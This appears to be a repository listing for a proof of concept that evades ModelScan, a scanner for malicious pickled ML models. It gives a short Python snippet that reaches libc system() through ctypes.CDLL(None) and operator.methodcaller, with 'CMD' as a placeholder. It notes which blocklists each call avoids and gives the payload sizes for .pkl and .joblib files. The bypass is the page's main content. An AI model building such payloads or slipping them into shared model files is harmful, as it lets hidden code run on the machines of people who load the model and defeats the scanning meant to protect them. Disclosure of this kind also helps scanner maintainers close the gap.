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xiaoyaoes/
modelscan-ctypes-bypass-poc

Name: modelscan-ctypes-bypass-poc
Availability: InStock

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ModelScan Bypass PoC: `ctypes.CDLL(None)` + `operator.methodcaller()`

This bypass calls the C library's system() function directly, completely bypassing Python-level function blocklists.

python

import ctypes, operator
operator.call(
    operator.methodcaller("system", b"CMD"),
    ctypes.CDLL(None)
)

ctypes ∉ any blocklist ✅
operator.methodcaller ∉ blocklist (only attrgetter is) ✅
operator.call ∉ blocklist ✅
CDLL(None).system() calls libc system() directly — no Python exec/eval involved ✅

Size: 117 bytes (.pkl) / 141 bytes (.joblib)